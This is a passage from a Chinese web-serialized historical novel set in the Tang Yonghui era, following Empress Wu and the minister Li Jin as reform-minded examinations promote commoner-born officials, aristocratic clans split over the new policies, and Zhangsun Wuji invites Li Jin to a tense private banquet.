“此次最终铨选,分三场!” 高季辅继续宣布,一旁的吏部侍郎大声宣读细则,“第一场, 策 问 时 务! 就‘青苗贷’推行之得失、‘平准法’于丰歉年之应用、地方积案清理之法、边境屯田与防务协调等实务出题,现场作答!第二场, 核 对 实 绩! 由户部、刑部、司农寺、大理寺等有司,会同吏部考功司,逐一核对尔等上报之政绩文簿,并接受质询,若有虚报,严惩不贷!第三场, 殿 前 问 对! 由陛下、皇后殿下,及政事堂诸位相公主考,随机问对,考察尔等临机应变、处理实务之能!”
规则清晰而严苛,完全摒弃了诗词歌赋、经义章句那些旧贵族子弟擅长的领域,直指为官理政的核心能力。这让阶下众多寒门官员既紧张,又隐隐生出一股豪气——这,正是他们所长!他们多年在基层摸爬滚打,熟知民间疾苦,精通钱粮刑狱,这些题目,恰是挠到了痒处!
三场考核,在肃穆而紧张的气氛中进行。没有风花雪月,只有枯燥的数字、棘手的案例、切实的难题。有人下笔如飞,将多年心得倾注纸上;有人面对各部老吏的质询,对答如流,数据清晰;更有人在等待殿试时,仍不忘与同侪低声讨论某个州县水利修缮的细节。
考核持续了整整三日。期间,无数双眼睛盯着这里。旧贵族们或冷笑观望,等着看这些“泥腿子”出丑;或暗中打探考题,试图施加影响,却发现此次考核保密极严,主持者如高季辅、刑部尚书刘德威(刘仁轨族兄,相对公正)、新任户部尚书杜正伦等人,皆非易于操控之辈。更令他们不安的是,皇后武媚娘似乎对此事极为关注,不时遣北门学士或宦官前来巡视。
终于,殿试之日到来。宣政殿侧殿,皇帝李治因身体不适未曾亲临,但皇后武媚娘端坐珠帘之后,政事堂诸相及六部尚书分列两旁,气氛庄严肃穆。数十名通过前两场考核的寒门官员,按名次鱼贯入殿。他们大多从未踏入过如此庄严的殿堂,更未如此近距离面对过帝国最高统治者(尽管隔着帘子),不少人紧张得手心冒汗,步伐僵硬。
然而,当武媚娘平和而不失威仪的声音从帘后传出,问及“若你为一州刺史,遇境内豪强阻挠‘青苗贷’发放,与胥吏勾结,将官贷挪为己用,当如何处置?”时,一名来自河北道、皮肤黝黑、名叫马周(此为虚构人物,与太宗朝名臣马周同名不同人)的县令,在短暂的紧张后,深吸一口气,昂首答道:
“回禀皇后殿下!臣若遇此事,当先暗访取证,掌握豪强与胥吏勾结、挪用官贷之确凿证据。而后,明发告示,申明朝廷法令,限期令其归还本金,缴纳罚息。若其不从,则依《永徽律》及新政章程, 先 行 锁 拿 胥 吏, 断 其 爪 牙; 再 请 按 察 使 或 巡 察 御 史 协 助, 直 接 查 封 豪 强 涉 案 田 产、 店 铺, 强 制 执 行! 同时,开仓放贷,直接面向确需借贷之贫户,以安民心。此举虽看似激烈,然乱世用重典,沉疴下猛药。新政初行,法纪不彰,则万事难成。 为 一 方 牧 守, 当 以 朝 廷 法 度 为 先, 以 百 姓 生 计 为 重, 不 可 因 豪 强 势 大 而 畏 缩 不 前! 李相在汴州之事,便是榜样!”
他声音洪亮,思路清晰,措施果决,虽略带地方口音,却自有一股铮铮之气。尤其最后提到李瑾,更是隐含锋芒。帘后的武媚娘微微颔首。两旁的重臣们,神色各异。英国公李勣捋须不语,眼中闪过一丝赞赏。许敬宗则微微点头。而一些出身高门的官员,则面露不豫。
接着,又有官员被问及如何处理灾年流民、如何平衡垦荒与生态、如何清查隐匿户口等具体问题。这些寒门官员的回答或许不如世家子引经据典、辞藻华丽,但往往更接地气,提出的办法也更具可操作性,其中不乏真知灼见。一位来自山南道的县丞,甚至结合当地实际,提出了一套改良“平准法”在偏远州县实施细节的建议,令户部尚书杜正伦都侧目不已。
殿试从清晨持续到午后。当最后一名官员回答完毕,退出殿外,珠帘后的武媚娘与帘前的政事堂诸公、六部主官进行了短暂的合议。尽管仍有分歧,但在武媚娘的坚持和李勣、许敬宗等人的支持下,最终名单还是迅速确定下来。
翌日,吏部门前,巨大的金榜高高悬起。数十个名字,按照最终评定的等等,排列其上。排在最前面的,赫然是殿试中表现突出的马周等数人!他们将被破格提拔,马周更是直接从县令擢升为汴州司马(接替被拿下的郑伦之位)!其余人等,也各有升赏,或调任紧要职司,或品级提升,皆被委以实职,而非虚衔。
金榜之下,人潮涌动。那些榜上有名的寒门官员,看到自己名字的那一刻,许多人瞬间热泪盈眶,不能自已。他们之中,有人苦读半生,却因出身只能在县学做个教谕;有人为吏二十载,精通钱谷刑名,却因无人举荐,始终是个不入流的佐杂;有人得罪上官,被压制多年,郁郁不得志……今日,这一切似乎都有了回报。虽然仅仅是开始,前面依然是荆棘遍布、门阀林立的险途,但至少, 那 扇 对 他 们 紧 闭 了 数 百 年 的、 通 往 帝 国 权 力 殿 堂 的 大 门, 被 一 道 名 为 “ 新 政” 与 “ 考 成” 的 力 量, 撬 开 了 一 道 缝 隙! 阳光,终于照了进来。
“马兄!恭喜恭喜!” 同榜之人纷纷向马周道贺,语气中充满了激动与羡慕,也有一丝同气连枝的亲近。从今日起,他们不再是散落各地、无人问津的微末小吏,他们有了一个共同的身份——“新政”选拔的干员,是绑在一条船上的命运共同体。
马周亦是心潮澎湃,但他强自抑制,拱手还礼:“同喜同喜!此乃陛下、皇后殿下天恩,亦是我等兢兢业业,报效朝廷之始!前程似锦,亦如履薄冰,诸位同仁,共勉之!”
他们知道,这“登堂”只是第一步。等待他们的,是旧势力的敌视、同僚的排挤、地方豪强的掣肘,以及新政推行中无数的艰难险阻。但此刻,荣耀与希望的光芒,足以照亮他们未来很长一段充满挑战的道路。
与吏部门前的欢腾激动形成鲜明对比的,是皇城内某些角落的冰冷与沉寂。
赵国公长孙无忌的府邸,书房内炉火温暖,却驱不散主人眉宇间的寒意。他听着心腹汇报吏部金榜的结果,特别是马周等几个刺眼的名字和任命,久久不语。
“太尉,皇后此举,是要彻底断绝我等士族的进身之阶啊!” 一名中年官员愤愤道,“什么‘考成法’,什么‘唯才是举’!分明是要用那些不通经义、不知礼法的胥吏之辈,来取代我等!长此以往,朝堂之上,岂有我等立足之地?礼乐崩坏,国之将亡啊!”
另一人忧虑道:“更可怕的是,这些人被安插在汴州、洛阳、河北等要害之地,名为推行新政,实为皇后耳目爪牙。假以时日,地方州郡,恐非我有。那马周,一个寒门县令,竟直升汴州司马!汴州经李瑾一番清洗,本就空虚,此子一去,必是皇后与李瑾的应声虫,郑家……怕是再难回去了。”
长孙无忌缓缓放下手中的茶盏,瓷盏与檀木桌面轻轻碰撞,发出清脆的响声。他目光幽深,看着跃动的炉火,缓缓道:“急什么? 登 堂 易, 坐 稳 难。 他 们 以 为 靠 着 几 条 新 法, 几 个 寒 门 官 员, 就 能 动 摇 千 年 根 基? 笑 话。 地 方 上 的 人 心、 网 络、 盘 根 错 节 的 利 益, 岂 是 一 纸 任 命 能 打 破 的? 让 他 们 去, 让 他 们 碰 得 头 破 血 流。 我 们 等 着 看 就 是。 武 氏 和 那 个 李 瑾, 现 在 跳 得 越 高, 将 来 摔 得 就 越 重。”
他顿了顿,声音更低,却带着一种冰冷的自信:“ 真 正 的 较 量, 不 在 这 些 虾 兵 蟹 将 的 任 免 上。 他 们 动 不 了 我 们 的 根 本。 等 着 吧, 很 快, 他 们 就 会 知 道, 什 么 叫 做 … … 得 不 偿 失。”
寒风掠过长安城的朱雀大街,卷起金榜下的阵阵喧嚣,也吹过那些深宅大院紧闭的门窗。寒门士子们,正怀着前所未有的希望与忐忑,走向他们新的、充满未知的岗位。而旧的巨人,在阴影中沉默地注视着,等待着,那致命一击的时机。
这 一 次 的 “ 登 堂”, 是 新 政 的 一 次 宣 言, 也 是 一 次 亮 剑。 它 斩 开 了 一 道 口 子, 让 新 鲜 的 血 液 得 以 流 入 帝 国 日 渐 僵 化 的 躯 体。 但 随 之 而 来 的, 必 将 是 旧 有 肌 体 更 激 烈 的 排 异 与 反 扑。 更 大 的 风 暴, 已 在 寒 冬 的 云 层 之 后, 悄 然 酝 酿。 而此刻,站在风口浪尖最前方的,除了李瑾,还有这些刚刚“登堂”、即将奔赴四面八方的寒门官员们。他们的命运,已与这场席卷帝国的变革,紧紧捆绑在了一起。
紫宸殿中,武媚娘看着吏部呈报的最终名单及任命,对身旁的皇帝李治轻声道:“陛下,种子已经播下。接下来,就看他们能否在这片板结的土地上,扎根,发芽,长成大树了。”
李治略显苍白的脸上露出一丝笑意,握了握武媚娘的手:“有皇后在,有这些新苗在,朕心甚慰。只是……无忌舅舅那边,还有关陇……”
“陛下放心。” 武媚娘目光投向殿外铅灰色的天空,声音平静而坚定,“该来的,总会来。我们等着便是。 这 堂, 他 们 既 然 登 了, 就 没 有 再 退 出 去 的 道 理。 臣妾,会为他们,扫清尽可能多的荆棘。”
殿外的风,似乎更紧了。
第110章 利益之网裂
永徽六年的春天,似乎比往年来得更早一些。灞桥的柳枝已抽出茸茸绿意,渭水也解冻奔流,带着冰凌碰撞的清脆声响。长安城在经历了一个动荡的冬天后,表面平静,内里却涌动着比河水更加复杂的暗流。新政的成效、寒门的登堂,如同投入深潭的巨石,其激起的涟漪不仅扩散四方,更在潭水深处,那些原本看似铁板一块的礁石之间,撞击出了细微却不容忽视的裂痕。
裂痕,首先出现在那张看似牢不可破的“旧利益之网”上。这张以门第、姻亲、故旧、利益交换编织而成的巨网,曾笼罩着帝国的权力与财富。关陇军事贵族,山东高门士族,南方侨姓与吴姓士族,乃至地方豪强,虽然彼此间也有竞争,但在面对皇权扩张、特别是触及他们根本利益(土地、人口、仕途特权)时,往往能默契地形成某种防御同盟。然而,新政的持续推行,尤其“考成法”与“青苗贷”在部分地区的切实落地,开始以不同的力度和方式,拉扯这张大网的各个节点, 利 益 的 分 化 与 选 择 的 困 境, 开 始 悄 然 浮 现。
山东,荥阳郑氏祖宅。
曾经煊赫一时、在汴州根基深厚的郑氏,自郑元礼、郑伦等核心人物被锁拿进京,家产被查抄,在河南道的势力遭到朝廷和新任汴州司马马周(那个寒门出身的能吏)的联合清洗后,已显露出颓势。但这等大族,百足之虫死而不僵,在朝在野仍有不少支脉和门生故旧。然而,今春以来,郑氏族内的气氛,却与以往同仇敌忾的悲愤不同,多了几分诡异的沉闷与分歧。
议事堂内,烟雾缭绕。几位留在家中的族老和从各地赶回的核心子弟,正为家族未来争论不休。
“……必须联络太原王氏、范阳卢氏、赵郡李氏,还有朝中的长孙太尉,共同向朝廷施压!李瑾、武后如此倒行逆施,残害士族,我等岂能坐以待毙?当联合上书,痛陈新政之弊,请求陛下罢黜李瑾,停止新政,释放元礼公等人!” 一位中年子弟情绪激动,他是郑元礼的侄子,在家族生意中损失惨重。
“联合?拿什么联合?” 另一位较为年长的族老,曾官至刺史,相对清醒,冷笑道,“王氏在河北的田庄,今年也因‘青苗贷’和严查隐户,损失不小。卢家、李家在地方上的胥吏,也有因‘考成法’被揪出罢黜的。他们自身难保,还会为了我们郑家,去硬撼手握重兵、风头正劲的李勣,和深得帝心的皇后?至于长孙太尉……” 他压低了声音,“自去岁朝堂清洗后,愈发深居简出,对朝政不置一词。他是在自保,还是在等待时机,谁说得准?我们现在去求他,未必有用,反可能把他推向更谨慎的境地。”
“那难道就眼睁睁看着家业凋零,族人沦为阶下囚?” 先前那人不服。
“或许……可以换个思路。” 一个一直沉默的年轻人开口,他是郑家这一代少数考中明经、在京为官(品级不高)的子弟,对朝局了解更多,“新政推行至今,国库确实充盈了些,百姓中也渐有称颂。陛下身体虽不佳,但皇后地位稳固,李勣、许敬宗等人鼎力支持。李瑾在地方虽有杀戮,却也实打实地整顿了吏治,安定了部分民心。 朝 廷 的 决 心, 恐 怕 比 我 们 想 象 的 更 加 坚 定。 硬 抗, 恐 怕 … … 就 是 下 一 个 汴 州 郑 氏。**”
“你的意思是……服软?向武后和李瑾低头?” 有人惊怒。
“不是服软,是 务 实。” 那年轻官员深吸一口气,“元礼公和郑伦叔父之事,证据确凿,行刺钦差更是大罪,翻案几乎无望。当务之急,是保住家族其他支脉,保住剩下的产业。朝廷新政,核心是‘考成’与‘青苗’。我们或许可以在不触犯核心利益的前提下,做出一些……姿态。比如,主动配合官府清查家族在河南道以外地区的田产、荫户,该纳税的纳税,该放还的放还一部分奴婢。对于‘青苗贷’,不再明里暗里阻挠,甚至……可以尝试将部分闲置钱粮,以合规方式,投入官府许可的工坊、商路,或者购买朝廷发行的‘水利债’(一种为兴修水利募集资金的新债券)。 表 现 出 顺 应 朝 廷、 支 持 新 政 的 姿 态。 同 时, 在 族 中 子 弟 的 教 育 上, 不 能 只 读 经 史, 也 要 让 他 们 学 些 算 学、 律 学, 以 备 将 来 科 举 之 用。 如 此, 或 许 能 为 家 族 在 新 的 朝 局 中, 保 留 一 线 生 机, 甚 至 … … 寻 得 新 的 出 路。”
这番话,在守旧的族老听来,简直是数典忘祖,但在一些较为清醒、尤其是有子弟在官场或经商、切身感受到新政压力的族人心中,却激起了波澜。继续硬抗,风险极大,且看不到胜算。顺势而为,做出妥协和改变,虽然痛苦,却可能保存实力,甚至在新格局下找到新的利益增长点。郑家,这个山东高门的代表之一,内部首次出现了公开的、关于是否调整策略以应对新政的激烈争论。 这 是 利 益 之 网 出 现 的 第 一 道 明 显 裂 痕—— 生 存 策 略 的 分 歧。
几乎与此同时,在 江 南 道 的 润 州( 今 镇 江),** 一场不那么引人注目、却同样意味深长的宴会正在举行。做东的是本地大族顾氏的家主,赴宴的除了几位江南世交,还有两位新近到任的官员——一位是朝廷派来的“巡察御史”,另一位则是刚从长安吏部“寒门登堂”铨选中脱颖而出、被任命为本州司仓参军的寒门士子,姓陆。
宴席间,顾家主对两位新官极尽礼遇,言谈间对朝廷新政多有称颂,尤其对“平准法”在稳定江南粮价、促进丝绸茶叶外销方面的作用赞不绝口。他甚至还表示,顾家愿意“响应朝廷号召”,出资参与疏浚本地一段淤塞的运河,以利漕运和灌溉。
巡察御史态度客气而矜持。那位陆参军却颇为健谈,不仅详细解释了新政中关于水利兴修的地方配套政策和可能的优惠,还主动问及顾家名下茶山、桑园的产出与用工情况,言语间对生产经营颇为了解,让顾家主暗暗惊讶。
宴后,顾家主对心腹道:“这位陆参军,虽出身寒微,但于钱谷、工役甚是熟稔,非纸上谈兵之辈。朝廷用此人掌一州仓廪,看来是真要办实事。那位巡察御史,眼神厉害得很,不好糊弄。 看 来, 朝 廷 这 次 是 动 真 格 的, 不 是 雷 声 大 雨 点 小。 我 们 以 往 那 套 应 付 官 府 的 办 法, 恐 怕 行 不 通 了。”
“家主,那我们……”
“ 顺 着 来。” 顾家主沉吟道,“新政条文中,对兴修水利、鼓励工商确有实惠。我们顾家根基在江南,不在朝堂。既然硬顶不过,不如借着新政的势头,把我们自己的生意做大。运河修好了,我们的丝绸茶叶出去得更快;‘平准法’稳了粮价,雇工成本也稳定。只要不触及我们根本的田产和族权,些许钱粮投入和姿态,值得。 至 于 和 那 些 北 方 的 高 门 共 进 退 … … 他 们 的 根 在 田 土 和 官 场, 我 们 的 根, 一 半 在 田 土, 一 半 在 这 水 路 商 道 上。 不 可 同 日 而 语。**”
江南士族,特别是那些商业色彩较浓的家族,与完全依赖土地和仕途的北方高门,利益诉求本就存在差异。新政中的“平准法”、整顿市舶司等措施,在损害部分囤积居奇者利益的同时,客观上为合法、大型的商贸活动提供了更稳定的环境。当抵抗的成本过高,而顺从甚至利用新政可能带来新的利益时, 利 益 之 网 的 第 二 道 裂 痕 出 现 了—— 地 域 与 经 济 模 式 差 异 导 致 的 选 择 分 化。 江南顾氏这样的家族,开始表现出一种务实甚至合作的倾向,与北方死硬派拉开了距离。
朝 堂 之 上, 裂 痕 同 样 在 蔓 延。 以往,以长孙无忌为首的关陇集团,往往能凭借其军政影响力和皇室姻亲关系,获得山东、江南部分士族的默认支持或不敢公开反对。但如今,新政的矛头看似指向所有旧利益集团,实则因推行力度、地域差异和利益触动程度不同,压力并不均等。一些并非关陇核心、又在新政中受损相对较轻,或像江南顾氏那样找到新出路的家族及其朝中代表,开始对长孙无忌“静观其变、等待时机”的策略感到不耐和怀疑。
一次非正式的小范围朝臣聚会后,一位出身太原王氏、但家族商业利益颇重的侍郎,私下对同僚感叹:“长孙太尉自是老成谋国,然如今之势,皇后与李瑾步步紧逼,新政已渐成气候。吾等若一味静观,坐视寒门充斥州县,新政条规化为常例,恐日后再无我等置喙之余地。或许……当有所建言,使新政之推行,更合情理,亦稍恤我辈之苦,而非全然对抗。”
另一位与江南世家联姻的官员也道:“正是。江南来信,言道新政于商贸未必全无益处。或可因势利导,而非逆势而为。长孙公声望虽隆,然……陛下心思,皇后手段,不可不察啊。” 言下之意,对长孙无忌能否带领大家走出困境,已不那么有信心。
这些窃窃私语,虽未形成公开挑战,却如涓涓细流,侵蚀着以长孙无忌为核心的反新政联盟的凝聚力。 利 益 之 网 的 第 三 道 裂 痕, 在 于 核 心 领 袖 威 信 的 松 动 与 策 略 分 歧。**
对于这些变化,紫宸殿中的武媚娘与刚刚回京不久的李瑾,洞若观火。
“皇后殿下,郑氏内部生隙,江南顾氏态度转变,朝中非关陇核心的官员也开始动摇。看来,我们的‘区别对待、分化瓦解’之策,开始见效了。” 李瑾站在御阶下,虽然面容带着长途跋涉和处斩奸凶的疲惫与风霜,但眼神更加深邃锐利。他在汴州稳住局面,将马周等人安插到位,又巡视了河北部分地区,对地方实情了解更深。
武媚娘微微颔首,手中拿着一份关于江南顾氏动向的密报:“意料之中。天下熙熙,皆为利来。旧贵并非铁板一块,其内部各有盘算。 郑 家 是 杀 鸡 儆 猴 的 那 只 ‘ 鸡 ’, 顾 家 是 可 以 拉 拢 示 好 的 那 只 ‘ 猴 ’。** 至于朝中那些摇摆者,正好可以借此,进一步孤立长孙无忌。李相,你此番在地方,对新政推行之难,体会更深。以为接下来,当如何巩固这初步裂痕,使其真正扩大,直至瓦解其根本?”
李瑾沉吟片刻,道:“臣以为,当 三 管 齐 下。”
“其一, 继 续 强 化 新 政 实 效, 特 别 是 让 百 姓 得 到 实 惠。 今岁春耕在即,‘青苗贷’的发放要更规范、更透明,真正落到急需的农户手中。对‘平准法’,要进一步完善,防止胥吏与奸商勾结。只有新政在更多地方生根发芽,结出惠及百姓的果实,民心才会更加稳固,那些犹豫观望的地方势力,才会更加动摇。此为 固 本。**”
“其二, 对 于 愿 意 合 作、 做 出 姿 态 的 旧 族, 给 予 明 确 的 鼓 励 和 出 路。 比如顾家愿意出资修渠,朝廷可给予褒奖,甚至在其合规的商贸活动上提供一定便利。对于郑家内部主张务实的一派,亦可暗中传递信息,只要配合朝廷政策,其家族可保无虞,子弟若有真才实学,亦可经正当途径入仕。此为 分 化 拉 拢。**”
“其三,” 李瑾语气转冷,“ 对 于 以 长 孙 无 忌 为 首 的 关 陇 死 硬 派, 以 及 其 他 仍 在 地 方 明 目 张 胆 抗 拒 新 政 者, 必 须 继 续 保 持 高 压, 寻 找 突 破 口。 臣在河北时,听闻长孙家及其姻亲在关陇、河东等地,仍有大量田产隐户,并与地方军政官员往来密切。可派得力御史,秘密查访。同时,在朝中,要继续挤压其空间, 不 给 他 们 重 新 整 合 力 量、 发 动 反 扑 的 机 会。 此为 重 点 打 击。”
武媚娘听罢,眼中露出赞许之色:“李相所思,与本宫不谋而合。新政根基渐稳,然远未到大功告成之时。旧网虽裂,其势犹在,尤以关陇为最。长孙无忌在等待时机,我们也在等待时机——一个能一举击破其核心的时机。 在 此 之 前, 我 们 要 做 的, 就 是 不 断 扩 大 这 裂 痕, 削 弱 其 力 量, 孤 立 其 核 心, 等 待 那 关 键 一 击 的 到 来。**”
她站起身,走到殿中巨大的帝国舆图前,手指缓缓划过关陇、河东、河北之地。“ 利 益 之 网 已 裂, 下 一 步, 便 是 要 看 清, 这 张 网 最 脆 弱 的 节 点 在 哪 里, 然 后 … …**” 她没有说下去,但殿中二人都明白那未竟之意。
李瑾躬身:“臣明白。新政推行与瓦解旧网,本是一体两面。臣会加紧督促各地,巩固已有成效,同时……也会更加留意关陇的动静。”
“很好。” 武媚娘转身,目光落在李瑾身上,带着期许,“李相,新政之剑,是你亲手锻造并挥出的。如今剑已见血,网已现裂。 接 下 来 的 较 量, 将 更 加 凶 险, 也 更 加 接 近 核 心。 你,准备好了吗?”
李瑾迎上武媚娘的目光,没有丝毫退缩,只有一片沉静如水的坚定:“臣,时刻准备着。为陛下,为皇后殿下,为大唐新政,万死不辞。”
殿外的春风,带着复苏的气息涌入殿中,吹动了武媚娘的裙袂和李瑾的袍角。帝国上空,新旧力量碰撞激起的风云依旧变幻莫测,但那张笼罩已久的利益巨网,已然出现了清晰的、并且正在不断扩大的裂痕。而持剑立于网前的新政派,正冷静地审视着这些裂痕,寻找着那个足以将整张旧网彻底撕碎的最佳着力点。
第 十 一 卷 《 新 政 之 始》, 至 此 告 一 段 落。 新政已非空中楼阁,它在血与火、赞誉与骂声中艰难地扎下了根,并开始撼动旧世界的基石。而下一卷,风暴的中心,将无可避免地移向那最后、也是最强大的堡垒—— 关 陇 集 团 与 其 领 袖 长 孙 无 忌。** 一场决定帝国未来数十年乃至上百年命运走向的总决战,已在悄然酝酿。
第111章 元舅夜宴请
永徽六年的暮春,长安城浸润在一种微妙的氛围里。灞桥烟柳依旧,曲江水暖,但达官贵人们的车马往来间,却少了几分往日的从容浮华,多了些许难以言喻的审视与揣测。新政推行已近一年半,寒门登堂,国库渐丰,民间颂声初起,旧贵利益之网裂隙隐现。这一切,都让这座帝国的中心,在春日暖阳下,透着股山雨欲来前的沉闷。
就在这样一个柳絮纷飞、暮色渐合的黄昏,一辆青篷马车,在数骑护卫的簇拥下,驶离了皇城东南的宰相府邸,沿着宽阔的天街,转向城北皇亲贵戚、勋臣显宦云集的里坊。马车内坐着的,正是当朝中书令、太子少师、新政的实际操盘手——李瑾。
他今日未着紫袍玉带,只一身靛青色的常服,腰间悬着一柄样式古朴的长剑,神情平静,目光却锐利如常,透过微微晃动的车帘缝隙,扫过街边渐次亮起的灯火。马车行得不快,马蹄声在渐暗的暮色中显得格外清晰。车内除了他,只有一名沉默的亲随。护卫骑士也尽量收敛了甲胄碰撞之声,仿佛不愿惊扰这长安春夜的宁静。然而,这宁静之下,是比汴州刀光剑影更加凶险的无形漩涡。
今日赴的,是“元舅”、赵国公、太尉长孙无忌的夜宴。
请柬是三日前送到李瑾府上的,素雅的洒金笺,一手雍容端严的褚体,言辞恳切,以长辈关怀晚辈、元老请教新政为名,邀他过府一叙,并特意注明是“家宴小酌,勿论公务”。落款是“甥舅之谊,无忌谨邀”。
“甥舅之谊”。李瑾嘴角掠过一丝几不可察的冷意。他姓李,是宗室,但与长孙无忌并无直接血缘姻亲。这“甥舅”,指的是长孙无忌乃当今皇帝李治的亲舅舅,是国舅。如此称呼,既是抬举,更是一种无形的提醒和压力——提醒李瑾君臣名分,提醒他自己在皇室宗亲与朝堂格局中“外姓重臣”的身份,提醒这场宴会背后,那庞大如山、盘根错节的关陇集团与皇室之间千丝万缕的联系。
这是 鸿 门 宴。李瑾心中明镜似的。长孙无忌自永徽初年权力达到顶峰后,因与武皇后渐生嫌隙,近年来已呈韬光养晦之势,尤其在新政推行、朝堂清洗后,更是深居简出,鲜少在公开场合表态,对朝政似乎也“不甚上心”。但李瑾从未天真到以为这位历经三朝、权倾一时的“元舅”会真的就此沉寂。他的沉默,是猛虎假寐,是巨龙潜渊,是在观察,在等待,在积蓄力量,寻找那足以一击致命的机会。
此刻递来请柬,绝非简单的“家宴小酌”。是试探?是拉拢?是警告?还是三者皆有?亦或是布下了某种更深的陷阱?李瑾不得而知。但他知道,必须去。不仅要去,还要 单 刀 赴 会**。这不仅是对自身胆略的展示,更是向皇帝、皇后,也向所有暗中观望的势力表明态度——新政主将,无惧任何挑战,哪怕是来自帝国最有权势的元老。
马车缓缓停在一座气象森严的府邸前。门楣上“赵国公府”四个鎏金大字,在渐浓的夜色和门檐下高悬的气死风灯照耀下,依旧熠熠生辉,彰显着主人位极人臣的煊赫。与长安城中许多新贵府邸的张扬奢靡不同,这座府邸透着一股沉淀了数十年、甚至上百年权柄的厚重与内敛。门前石狮威猛,甲士肃立,虽不如皇宫禁卫那般甲胄鲜明,却自有一股百战老兵的剽悍之气,那是关陇军事贵族世家沉淀下来的底蕴。
李瑾下了马车,早有衣着体面、举止有度的老管家恭候在侧,躬身行礼:“李相大驾光临,国公爷已在花厅相候,请随老奴来。”
李瑾微微颔首,将佩剑解下,交给随行的亲随(按礼,入他人府邸,尤其是这等重臣府邸,通常需解兵刃),只身随着老管家,穿过深邃的门洞,步入府中。
国公府内,与外间的寂静威严不同,一路行来,但见亭台楼阁,错落有致,曲径通幽,草木扶疏,在暮色和渐次点起的灯火映照下,别有一番清雅意境,不见丝毫富丽堂皇的俗气,却处处透着匠心与底蕴。偶有青衣小鬟或垂髫仆役低头静默穿行,见到客人,远远便避让道旁,敛衽施礼,训练有素。这一切,无不显示着主人超凡的品味与对府邸绝对的控制力。
花厅设在府邸深处一处临水的小轩。轩外是一片不大的湖面,此时荷叶初展,蛙声隐隐。轩内灯火通明,却只设一席,席上菜肴精致,器皿古朴,两名容貌清秀的侍女静立一旁伺候。
李瑾步入花厅时,长孙无忌已立于席前相迎。
这位年过六旬的帝国元舅,身形依旧挺拔,须发虽已花白,却梳理得一丝不苟,面庞清癯,目光沉静,穿着一身家常的赭色圆领袍,外罩一件半旧的玄色貂裘,气质温文儒雅,毫无久掌大权者的迫人威势,反倒像一位退隐林泉、学问渊博的老儒。唯有那双眼睛,偶尔开阖间,掠过的一丝精光,才让人想起他曾是太宗皇帝最倚重的肱骨,是力保今上登基的首功之臣,是执掌朝纲十余年的无冕之相。
“李相来了,快请入席。老夫冒昧相邀,还望李相莫怪唐突。” 长孙无忌笑容和煦,声音平缓,亲自虚引李瑾入座,毫无倨傲之态。
“长孙太尉言重了。太尉乃国之元舅,德高望重,能得太尉相邀,是晚辈的荣幸。” 李瑾拱手还礼,言辞客气,姿态恭谨,但脊背挺直,目光平静地迎上长孙无忌的视线。
两人分宾主落座。侍女上前,为二人斟满琥珀色的美酒,酒香清冽,与轩外隐隐传来的荷香混在一起,沁人心脾。
“家常便饭,不成敬意。这是去岁庄子上自酿的桂花酒,埋在地下也有些年头了,李相尝尝,可还入口?” 长孙无忌举杯相邀,语气闲适,仿佛真的只是一场寻常的家宴。
李瑾依言举杯,浅啜一口,酒液醇厚,带着淡淡的桂花甜香,后劲绵长。“果然佳酿,太尉雅致。”
几杯酒下肚,又随意用了几箸精致的小菜,气氛似乎颇为融洽。长孙无忌绝口不提朝政,只说些长安风物,书画鉴赏,甚至问及李瑾在汴州、河北见闻的地方民俗,态度温和,如同一位关心晚辈的长者。
然而,李瑾心中那根弦,却始终紧绷着。他深知,这表面的平和之下,是深不见底的漩涡。长孙无忌越是如此,所图必然越大。
果然,酒过三巡,菜过五味,长孙无忌轻轻放下银箸,用雪白的丝巾拭了拭嘴角,仿佛不经意地开口道:“李相自掌朝纲,推行新政,不过年余,已是国库充盈,吏治稍清,民间亦多称颂。少年英发,锐意进取,实乃国家之福,陛下得人,皇后慧眼啊。” 他语气平淡,听不出褒贬。
李瑾心中一动,知道正题来了。他欠身道:“太尉过誉。新政能稍有成效,全赖陛下圣明,皇后殿下鼎力支持,朝中诸公协力,李瑾不过尽人臣本分,何功之有?其中多有不足,还需太尉这等元老重臣指点。”
“指点谈不上。” 长孙无忌微微一笑,目光落在李瑾脸上,带着探究,“只是老夫闲居家中,偶尔听闻朝野议论,对新政,亦有些许不解之处,今日难得与李相清静一叙,不揣冒昧,想请教一二。”
“太尉请讲,晚辈洗耳恭听。” 李瑾坐直了身体。
“这‘考成法’,以绩效论官员升黜,立意自然是好的,激励任事嘛。” 长孙无忌缓缓道,手指无意识地在光滑的紫檀木案几上轻叩,“然则,为政之道,非仅钱粮刑名。教化人心,敦睦乡里,调和阴阳,这些难以量化之事,又当如何‘考成’?若只以垦田多寡、赋税丰薄、结案快慢为据,恐地方官吏为求速效,不免急功近利,甚至滋生苛政,反伤民心。长此以往, 只 恐 官 吏 成 为 只 知 完 成 数 目 的 酷 吏, 而 失 了 仁 恕 爱 民 之 本 心 啊。** 此乃老夫一愚之虑,李相以为如何?”
问题看似平和,实则尖锐,直指“考成法”可能带来的流弊,更暗指新政“不近人情”、“有违圣贤教化”。这是从道义和执政根本理念上发起的质疑。
李瑾神色不变,略一沉吟,答道:“太尉所虑,实乃老成谋国之言,切中肯綮。‘考成法’初行,细则确有需完善之处。陛下与皇后殿下亦多次下诏,严禁地方官吏为求政绩,行苛暴之举,扰民害民。吏部与御史台亦在拟定细则,将教化、讼平、民生安定等‘软’指标,纳入考评。然则……”
他话锋一转,目光清亮:“太尉,我朝自开国以来,承平日久,吏治渐有疲敝之象。官员或因循守旧,或尸位素餐,或与地方豪强勾结,侵吞国帑,鱼肉百姓。彼时何曾见其有‘仁恕爱民’之心? ‘ 考 成 法’ 之 设, 首 在 破 此 积 弊, 使 官 吏 知 有 所 为, 有 所 畏。 纵 有 急 功 近 利 之 弊, 亦 可 在 施 行 中 不 断 调 整 完 善, 总 强 过 碌 碌 无 为、 甚 至 贪 墨 成 风。 至 于 酷 吏 之 忧, 朝 廷 自 有 法 度 监 察, 若 有 官 吏 借 ‘ 考 成’ 之 名 行 苛 政, 陛 下 与 皇 后 殿 下 绝 不 姑 息, 李 瑾 亦 必 首 倡 严 惩! 此 为 矫 枉 不 得 不 过 正 之 理, 还 望 太 尉 明 察。”
回答不卑不亢,既承认了可能存在的问题,更强调了新政的必要性和朝廷纠偏的决心,将“酷吏”的帽子轻轻挡了回去,反而暗指旧有官僚体系下的不作为和贪墨才是更大的问题。
长孙无忌听罢,呵呵一笑,不置可否,又举杯邀饮。待放下酒杯,他话题一转:“那‘青苗贷’呢?官府放贷,本为惠民。然则,据老夫所知,地方胥吏多有借此盘剥,或强贷于不需之民,或挪作他用,甚至与豪强勾结,反成害民之政。李相在汴州,当有所见吧?”
